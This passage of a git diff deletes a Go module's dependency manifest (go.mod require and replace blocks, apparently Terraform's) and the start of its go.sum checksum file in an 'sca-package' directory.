github.com/hashicorp/consul/sdk v0.8.0 - github.com/hashicorp/errwrap v1.1.0 - github.com/hashicorp/go-azure-helpers v0.18.0 - github.com/hashicorp/go-checkpoint v0.5.0 - github.com/hashicorp/go-cleanhttp v0.5.2 - github.com/hashicorp/go-getter v1.5.10 - github.com/hashicorp/go-hclog v0.15.0 - github.com/hashicorp/go-multierror v1.1.1 - github.com/hashicorp/go-plugin v1.4.3 - github.com/hashicorp/go-retryablehttp v0.7.0 - github.com/hashicorp/go-tfe v0.21.0 - github.com/hashicorp/go-uuid v1.0.2 - github.com/hashicorp/go-version v1.3.0 - github.com/hashicorp/hcl v0.0.0-20170504190234-a4b07c25de5f - github.com/hashicorp/hcl/v2 v2.11.1 - github.com/hashicorp/terraform-config-inspect v0.0.0-20210209133302-4fd17a0faac2 - github.com/hashicorp/terraform-svchost v0.0.0-20200729002733-f050f53b9734 - github.com/jmespath/go-jmespath v0.4.0 - github.com/joyent/triton-go v0.0.0-20180313100802-d8f9c0314926 - github.com/kardianos/osext v0.0.0-20190222173326-2bc1f35cddc0 - github.com/lib/pq v1.10.3 - github.com/lusis/go-artifactory v0.0.0-20160115162124-7e4ce345df82 - github.com/manicminer/hamilton v0.35.0 - github.com/masterzen/winrm v0.0.0-20200615185753-c42b5136ff88 - github.com/mattn/go-isatty v0.0.12 - github.com/mattn/go-shellwords v1.0.4 - github.com/mitchellh/cli v1.1.2 - github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db - github.com/mitchellh/copystructure v1.2.0 - github.com/mitchellh/go-homedir v1.1.0 - github.com/mitchellh/go-linereader v0.0.0-20190213213312-1b945b3263eb - github.com/mitchellh/go-wordwrap v1.0.1 - github.com/mitchellh/gox v1.0.1 - github.com/mitchellh/mapstructure v1.1.2 - github.com/mitchellh/reflectwalk v1.0.2 - github.com/nishanths/exhaustive v0.2.3 - github.com/packer-community/winrmcp v0.0.0-20180921211025-c76d91c1e7db - github.com/pkg/browser v0.0.0-20201207095918-0426ae3fba23 - github.com/pkg/errors v0.9.1 - github.com/posener/complete v1.2.3 - github.com/spf13/afero v1.2.2 - github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common v1.0.232 - github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/tag v1.0.233 - github.com/tencentyun/cos-go-sdk-v5 v0.7.29 - github.com/tombuildsstuff/giovanni v0.15.1 - github.com/xanzy/ssh-agent v0.3.1 - github.com/xlab/treeprint v0.0.0-20161029104018-1d6e34225557 - github.com/zclconf/go-cty v1.10.0 - github.com/zclconf/go-cty-debug v0.0.0-20191215020915-b22d67c1ba0b - github.com/zclconf/go-cty-yaml v1.0.2 - go.etcd.io/etcd v0.5.0-alpha.5.0.20210428180535-15715dcf1ace - golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa - golang.org/x/mod v0.4.2 - golang.org/x/net v0.0.0-20211216030914-fe4d6282115f - golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c - golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e - golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d - golang.org/x/text v0.3.6 - golang.org/x/tools v0.1.7 - google.golang.org/api v0.44.0-impersonate-preview - google.golang.org/grpc v1.36.0 - google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 - google.golang.org/protobuf v1.27.1 - honnef.co/go/tools v0.3.0-0.dev - k8s.io/api v0.21.3 - k8s.io/apimachinery v0.21.3 - k8s.io/client-go v0.21.3 - k8s.io/utils v0.0.0-20210930125809-cb0fa318a74b -) - -require ( - cloud.google.com/go v0.79.0 // indirect - github.com/Azure/go-autorest v14.2.0+incompatible // indirect - github.com/Azure/go-autorest/autorest/adal v0.9.17 // indirect - github.com/Azure/go-autorest/autorest/azure/cli v0.4.4 // indirect - github.com/Azure/go-autorest/autorest/date v0.3.0 // indirect - github.com/Azure/go-autorest/autorest/to v0.4.0 // indirect - github.com/Azure/go-autorest/autorest/validation v0.3.1 // indirect - github.com/Azure/go-autorest/logger v0.2.1 // indirect - github.com/Azure/go-autorest/tracing v0.6.0 // indirect - github.com/Azure/go-ntlmssp v0.0.0-20200615164410-66371956d46c // indirect - github.com/BurntSushi/toml v0.3.1 // indirect - github.com/ChrisTrenkamp/goxpath v0.0.0-20190607011252-c5096ec8773d // indirect - github.com/Masterminds/goutils v1.1.0 // indirect - github.com/Masterminds/semver v1.5.0 // indirect - github.com/Masterminds/sprig v2.22.0+incompatible // indirect - github.com/Microsoft/go-winio v0.5.0 // indirect - github.com/abdullin/seq v0.0.0-20160510034733-d5467c17e7af // indirect - github.com/antchfx/xpath v0.0.0-20190129040759-c8489ed3251e // indirect - github.com/antchfx/xquery v0.0.0-20180515051857-ad5b8c7a47b0 // indirect - github.com/apparentlymart/go-textseg/v13 v13.0.0 // indirect - github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da // indirect - github.com/armon/go-radix v1.0.0 // indirect - github.com/baiyubin/aliyun-sts-go-sdk v0.0.0-20180326062324-cfa1a18b161f // indirect - github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d // indirect - github.com/coreos/go-semver v0.2.0 // indirect - github.com/coreos/go-systemd v0.0.0-20181012123002-c6f51f82210d // indirect - github.com/dimchansky/utfbom v1.1.1 // indirect - github.com/dylanmei/iso8601 v0.1.0 // indirect - github.com/fatih/color v1.9.0 // indirect - github.com/go-logr/logr v0.4.0 // indirect - github.com/gofrs/uuid v3.3.0+incompatible // indirect - github.com/gogo/protobuf v1.3.2 // indirect - github.com/golang-jwt/jwt/v4 v4.1.0 // indirect - github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e // indirect - github.com/google/go-querystring v1.1.0 // indirect - github.com/google/gofuzz v1.1.0 // indirect - github.com/googleapis/gax-go/v2 v2.0.5 // indirect - github.com/googleapis/gnostic v0.4.1 // indirect - github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 // indirect - github.com/hashicorp/go-immutable-radix v1.0.0 // indirect - github.com/hashicorp/go-msgpack v0.5.4 // indirect - github.com/hashicorp/go-rootcerts v1.0.2 // indirect - github.com/hashicorp/go-safetemp v1.0.0 // indirect - github.com/hashicorp/go-slug v0.7.0 // indirect - github.com/hashicorp/golang-lru v0.5.1 // indirect - github.com/hashicorp/jsonapi v0.0.0-20210826224640-ee7dae0fb22d // indirect - github.com/hashicorp/serf v0.9.5 // indirect - github.com/hashicorp/yamux v0.0.0-20181012175058-2f1d1f20f75d // indirect - github.com/huandu/xstrings v1.3.2 // indirect - github.com/imdario/mergo v0.3.12 // indirect - github.com/json-iterator/go v1.1.10 // indirect - github.com/jstemmer/go-junit-report v0.9.1 // indirect - github.com/jtolds/gls v4.2.1+incompatible // indirect - github.com/klauspost/compress v1.11.2 // indirect - github.com/kr/pretty v0.2.1 // indirect - github.com/kr/pty v1.1.5 // indirect - github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 // indirect - github.com/mattn/go-colorable v0.1.6 // indirect - github.com/mitchellh/go-testing-interface v1.0.4 // indirect - github.com/mitchellh/iochan v1.0.0 // indirect - github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect - github.com/modern-go/reflect2 v1.0.1 // indirect - github.com/mozillazg/go-httpheader v0.3.0 // indirect - github.com/nu7hatch/gouuid v0.0.0-20131221200532-179d4d0c4d8d // indirect - github.com/oklog/run v1.0.0 // indirect - github.com/satori/go.uuid v1.2.0 // indirect - github.com/sergi/go-diff v1.2.0 // indirect - github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d // indirect - github.com/smartystreets/goconvey v0.0.0-20180222194500-ef6db91d284a // indirect - github.com/spf13/pflag v1.0.5 // indirect - github.com/ulikunitz/xz v0.5.8 // indirect - github.com/vmihailenco/msgpack/v4 v4.3.12 // indirect - github.com/vmihailenco/tagparser v0.1.1 // indirect - go.opencensus.io v0.23.0 // indirect - go.uber.org/atomic v1.3.2 // indirect - go.uber.org/multierr v1.1.0 // indirect - go.uber.org/zap v1.10.0 // indirect - golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5 // indirect - golang.org/x/time v0.0.0-20211116232009-f0f3c7e86c11 // indirect - golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect - google.golang.org/appengine v1.6.7 // indirect - google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6 // indirect - gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect - gopkg.in/inf.v0 v0.9.1 // indirect - gopkg.in/ini.v1 v1.42.0 // indirect - gopkg.in/yaml.v2 v2.4.0 // indirect - k8s.io/klog/v2 v2.8.0 // indirect - sigs.k8s.io/structured-merge-diff/v4 v4.1.2 // indirect - sigs.k8s.io/yaml v1.2.0 // indirect -) - -replace google.golang.org/grpc v1.36.0 => google.golang.org/grpc v1.27.1 - -replace github.com/golang/mock v1.5.0 => github.com/golang/mock v1.4.4 - -// github.com/dgrijalva/jwt-go is no longer maintained but is an indirect -// dependency of the old etcdv2 backend, and so we need to keep this working -// until that backend is removed. github.com/golang-jwt/jwt/v3 is a drop-in -// replacement that includes a fix for CVE-2020-26160. -replace github.com/dgrijalva/jwt-go => github.com/golang-jwt/jwt v3.2.1+incompatible diff --git a/sca-package/go.sum b/sca-package/go.sum deleted file mode 100644 index 447f84b..0000000 --- a/sca-package/go.sum +++ /dev/null @@ -1,1181 +0,0 @@ -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= -cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= -cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= -cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= -cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= -cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= -cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= -cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= -cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= -cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= -cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= -cloud.google.com/go v0.61.0/go.mod h1:XukKJg4Y7QsUu0Hxg3qQKUWR4VuWivmyMK2+rUyxAqw= -cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= -cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= -cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= -cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= -cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= -cloud.google.com/go v0.79.0 h1:oqqswrt4x6b9OGBnNqdssxBl1xf0rSUNjU2BR4BZar0= -cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= -cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= -cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= -cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= -cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= -cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= -cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= -cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= -cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= -cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= -cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= -cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= -cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= -cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= -cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= -cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= -cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= -cloud.google.com/go/storage v1.10.0 h1:STgFzyU5/8miMl0//zKh2aQeTyeaUH3WN9bSUiJ09bA= -cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= -dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= -github.com/Azure/azure-sdk-for-go v45.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc= -github.com/Azure/azure-sdk-for-go v47.1.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc= -github.com/Azure/azure-sdk-for-go v59.2.0+incompatible h1:mbxiZy1K820hQ+dI+YIO/+a0wQDYqOu18BAGe4lXjVk= -github.com/Azure/azure-sdk-for-go v59.2.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc= -github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs= -github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24= -github.com/Azure/go-autorest/autorest v0.11.3/go.mod h1:JFgpikqFJ/MleTTxwepExTKnFUKKszPS8UavbQYUMuw= -github.com/Azure/go-autorest/autorest v0.11.10/go.mod h1:eipySxLmqSyC5s5k1CLupqet0PSENBEDP93LQ9a8QYw= -github.com/Azure/go-autorest/autorest v0.11.12/go.mod h1:eipySxLmqSyC5s5k1CLupqet0PSENBEDP93LQ9a8QYw= -github.com/Azure/go-autorest/autorest v0.11.21/go.mod h1:Do/yuMSW/13ayUkcVREpsMHGG+MvV81uzSCFgYPj4tM= -github.com/Azure/go-autorest/autorest v0.11.22 h1:bXiQwDjrRmBQOE67bwlvUKAC1EU1yZTPQ38c+bstZws= -github.com/Azure/go-autorest/autorest v0.11.22/go.mod h1:BAWYUWGPEtKPzjVkp0Q6an0MJcJDsoh5Z1BFAEFs4Xs= -github.com/Azure/go-autorest/autorest/adal v0.9.0/go.mod h1:/c022QCutn2P7uY+/oQWWNcK9YU+MH96NgK+jErpbcg= -github.com/Azure/go-autorest/autorest/adal v0.9.5/go.mod h1:B7KF7jKIeC9Mct5spmyCB/A8CG/sEz1vwIRGv/bbw7A= -github.com/Azure/go-autorest/autorest/adal v0.9.14/go.mod h1:W/MM4U6nLxnIskrw4UwWzlHfGjwUS50aOsc/I3yuU8M= -github.com/Azure/go-autorest/autorest/adal v0.9.17 h1:esOPl2dhcz9P3jqBSJ8tPGEj2EqzPPT6zfyuloiogKY= -github.com/Azure/go-autorest/autorest/adal v0.9.17/go.mod h1:XVVeme+LZwABT8K5Lc3hA4nAe8LDBVle26gTrguhhPQ= -github.com/Azure/go-autorest/autorest/azure/cli v0.4.0/go.mod h1:JljT387FplPzBA31vUcvsetLKF3pec5bdAxjVU4kI2s= -github.com/Azure/go-autorest/autorest/azure/cli v0.4.2/go.mod h1:7qkJkT+j6b+hIpzMOwPChJhTqS8VbsqqgULzMNRugoM= -github.com/Azure/go-autorest/autorest/azure/cli v0.4.4 h1:iuooz5cZL6VRcO7DVSFYxRcouqn6bFVE/e77Wts50Zk= -github.com/Azure/go-autorest/autorest/azure/cli v0.4.4/go.mod h1:yAQ2b6eP/CmLPnmLvxtT1ALIY3OR1oFcCqVBi8vHiTc= -github.com/Azure/go-autorest/autorest/date v0.3.0 h1:7gUk1U5M/CQbp9WoqinNzJar+8KY+LPI6wiWrP/myHw= -github.com/Azure/go-autorest/autorest/date v0.3.0/go.mod h1:BI0uouVdmngYNUzGWeSYnokU+TrmwEsOqdt8Y6sso74= -github.com/Azure/go-autorest/autorest/mocks v0.4.0/go.mod h1:LTp+uSrOhSkaKrUy935gNZuuIPPVsHlr9DSOxSayd+k= -github.com/Azure/go-autorest/autorest/mocks v0.4.1 h1:K0laFcLE6VLTOwNgSxaGbUcLPuGXlNkbVvq4cW4nIHk= -github.com/Azure/go-autorest/autorest/mocks v0.4.1/go.mod h1:LTp+uSrOhSkaKrUy935gNZuuIPPVsHlr9DSOxSayd+k= -github.com/Azure/go-autorest/autorest/to v0.4.0 h1:oXVqrxakqqV1UZdSazDOPOLvOIz+XA683u8EctwboHk= -github.com/Azure/go-autorest/autorest/to v0.4.0/go.mod h1:fE8iZBn7LQR7zH/9XU2NcPR4o9jEImooCeWJcYV/zLE= -github.com/Azure/go-autorest/autorest/validation v0.3.0/go.mod h1:yhLgjC0Wda5DYXl6JAsWyUe4KVNffhoDhG0zVzUMo3E= -github.com/Azure/go-autorest/autorest/validation v0.3.1 h1:AgyqjAd94fwNAoTjl/WQXg4VvFeRFpO+UhNyRXqF1ac= -github.com/Azure/go-autorest/autorest/validation v0.3.1/go.mod h1:yhLgjC0Wda5DYXl6JAsWyUe4KVNffhoDhG0zVzUMo3E= -github.com/Azure/go-autorest/logger v0.2.0/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8= -github.com/Azure/go-autorest/logger v0.2.1 h1:IG7i4p/mDa2Ce4TRyAO8IHnVhAVF3RFU+ZtXWSmf4Tg= -github.com/Azure/go-autorest/logger v0.2.1/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8= -github.com/Azure/go-autorest/tracing v0.6.0 h1:TYi4+3m5t6K48TGI9AUdb+IzbnSxvnvUMfuitfgcfuo= -github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU= -github.com/Azure/go-ntlmssp v0.0.0-20180810175552-4a21cbd618b4/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= -github.com/Azure/go-ntlmssp v0.0.0-20200615164410-66371956d46c h1:/IBSNwUN8+eKzUzbJPqhK839ygXJ82sde8x3ogr6R28= -github.com/Azure/go-ntlmssp v0.0.0-20200615164410-66371956d46c/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= -github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/ChrisTrenkamp/goxpath v0.0.0-20170922090931-c385f95c6022/go.mod h1:nuWgzSkT5PnyOd+272uUmV0dnAnAn42Mk7PiQC5VzN4= -github.com/ChrisTrenkamp/goxpath v0.0.0-20190607011252-c5096ec8773d h1:W1diKnDQkXxNDhghdBSbQ4LI/E1aJNTwpqPp3KtlB8w= -github.com/ChrisTrenkamp/goxpath v0.0.0-20190607011252-c5096ec8773d/go.mod h1:nuWgzSkT5PnyOd+272uUmV0dnAnAn42Mk7PiQC5VzN4= -github.com/Masterminds/goutils v1.1.0 h1:zukEsf/1JZwCMgHiK3GZftabmxiCw4apj3a28RPBiVg= -github.com/Masterminds/goutils v1.1.0/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= -github.com/Masterminds/semver v1.5.0 h1:H65muMkzWKEuNDnfl9d70GUjFniHKHRbFPGBuZ3QEww= -github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= -github.com/Masterminds/sprig v2.22.0+incompatible h1:z4yfnGrZ7netVz+0EDJ0Wi+5VZCSYp4Z0m2dk6cEM60= -github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= -github.com/Microsoft/go-winio v0.4.14/go.mod h1:qXqCSQ3Xa7+6tgxaGTIe4Kpcdsi+P8jBhyzoq1bpyYA= -github.com/Microsoft/go-winio v0.4.16/go.mod h1:XB6nPKklQyQ7GC9LdcBEcBl8PF76WugXOPRXwdLnMv0= -github.com/Microsoft/go-winio v0.5.0 h1:Elr9Wn+sGKPlkaBvwu4mTrxtmOp3F3yV9qhaHbXGjwU= -github.com/Microsoft/go-winio v0.5.0/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84= -github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ= -github.com/Netflix/go-expect v0.0.0-20211003183012-e1a7c020ce25 h1:hWfsqBaNZUHztXA78g7Y2Jj3rDQaTCZhhFwz43i2VlA= -github.com/Netflix/go-expect v0.0.0-20211003183012-e1a7c020ce25/go.mod h1:68ORG0HSEWDuH5Eh73AFbYWZ1zT4Y+b0vhOa+vZRUdI= -github.com/ProtonMail/go-crypto v0.0.0-20210428141323-04723f9f07d7/go.mod h1:z4/9nQmJSSwwds7ejkxaJwO37dru3geImFUdJlaLzQo= -github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= -github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE= -github.com/QcloudApi/qcloud_sign_golang v0.0.0-20141224014652-e4130a326409/go.mod h1:1pk82RBxDY/JZnPQrtqHlUFfCctgdorsd9M06fMynOM= -github.com/abdullin/seq v0.0.0-20160510034733-d5467c17e7af h1:DBNMBMuMiWYu0b+8KMJuWmfCkcxl09JwdlqwDZZ6U14= -github.com/abdullin/seq v0.0.0-20160510034733-d5467c17e7af/go.mod h1:5Jv4cbFiHJMsVxt52+i0Ha45fjshj6wxYr1r19tB9bw= -github.com/acomagu/bufpipe v1.0.3/go.mod h1:mxdxdup/WdsKVreO5GpW4+M/1CE2sMG4jeGJ2sYmHc4= -github.com/agext/levenshtein v1.2.1/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= -github.com/agext/levenshtein v1.2.2/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= -github.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo= -github.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= -github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= -github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= -github.com/aliyun/alibaba-cloud-sdk-go v0.0.0-20190329064014-6e358769c32a h1:APorzFpCcv6wtD5vmRWYqNm4N55kbepL7c7kTq9XI6A= -github.com/aliyun/alibaba-cloud-sdk-go v0.0.0-20190329064014-6e358769c32a/go.mod h1:T9M45xf79ahXVelWoOBmH0y4aC1t5kXO5BxwyakgIGA= -github.com/aliyun/aliyun-oss-go-sdk v0.0.0-20190103054945-8205d1f41e70 h1:FrF4uxA24DF3ARNXVbUin3wa5fDLaB1Cy8mKks/LRz4= -github.com/aliyun/aliyun-oss-go-sdk v0.0.0-20190103054945-8205d1f41e70/go.mod h1:T/Aws4fEfogEE9v+HPhhw+CntffsBHJ8nXQCwKr0/g8= -github.com/aliyun/aliyun-tablestore-go-sdk v4.1.2+incompatible h1:ABQ7FF+IxSFHDMOTtjCfmMDMHiCq6EsAoCV/9sFinaM= -github.com/aliyun/aliyun-tablestore-go-sdk v4.1.2+incompatible/go.mod h1:LDQHRZylxvcg8H7wBIDfvO5g/cy4/sz1iucBlc2l3Jw= -github.com/andybalholm/crlf v0.0.0-20171020200849-670099aa064f/go.mod h1:k8feO4+kXDxro6ErPXBRTJ/ro2mf0SsFG8s7doP9kJE= -github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c= -github.com/antchfx/xpath v0.0.0-20190129040759-c8489ed3251e h1:ptBAamGVd6CfRsUtyHD+goy2JGhv1QC32v3gqM8mYAM= -github.com/antchfx/xpath v0.0.0-20190129040759-c8489ed3251e/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk= -github.com/antchfx/xquery v0.0.0-20180515051857-ad5b8c7a47b0 h1:JaCC8jz0zdMLk2m+qCCVLLLM/PL93p84w4pK3aJWj60= -github.com/antchfx/xquery v0.0.0-20180515051857-ad5b8c7a47b0/go.mod h1:LzD22aAzDP8/dyiCKFp31He4m2GPjl0AFyzDtZzUu9M= -github.com/apparentlymart/go-cidr v1.0.1/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc= -github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU= -github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc= -github.com/apparentlymart/go-dump v0.0.0-20180507223929-23540a00eaa3/go.mod h1:oL81AME2rN47vu18xqj1S1jPIPuN7afo62yKTNn3XMM= -github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0 h1:MzVXffFUye+ZcSR6opIgz9Co7WcDx6ZcY+RjfFHoA0I= -github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0/go.mod h1:oL81AME2rN47vu18xqj1S1jPIPuN7afo62yKTNn3XMM= -github.com/apparentlymart/go-shquot v0.0.1 h1:MGV8lwxF4zw75lN7e0MGs7o6AFYn7L6AZaExUpLh0Mo= -github.com/apparentlymart/go-shquot v0.0.1/go.mod h1:lw58XsE5IgUXZ9h0cxnypdx31p9mPFIVEQ9P3c7MlrU= -github.com/apparentlymart/go-textseg v1.0.0 h1:rRmlIsPEEhUTIKQb7T++Nz/A5Q6C9IuX2wFoYVvnCs0= -github.com/apparentlymart/go-textseg v1.0.0/go.mod h1:z96Txxhf3xSFMPmb5X/1W05FF/Nj9VFpLOpjS5yuumk= -github.com/apparentlymart/go-textseg/v12 v12.0.0/go.mod h1:S/4uRK2UtaQttw1GenVJEynmyUenKwP++x/+DdGV/Ec= -github.com/apparentlymart/go-textseg/v13 v13.0.0 h1:Y+KvPE1NYz0xl601PVImeQfFyEy6iT90AvPUL1NNfNw= -github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo= -github.com/apparentlymart/go-userdirs v0.0.0-20200915174352-b0c018a67c13 h1:JtuelWqyixKApmXm3qghhZ7O96P6NKpyrlSIe8Rwnhw= -github.com/apparentlymart/go-userdirs 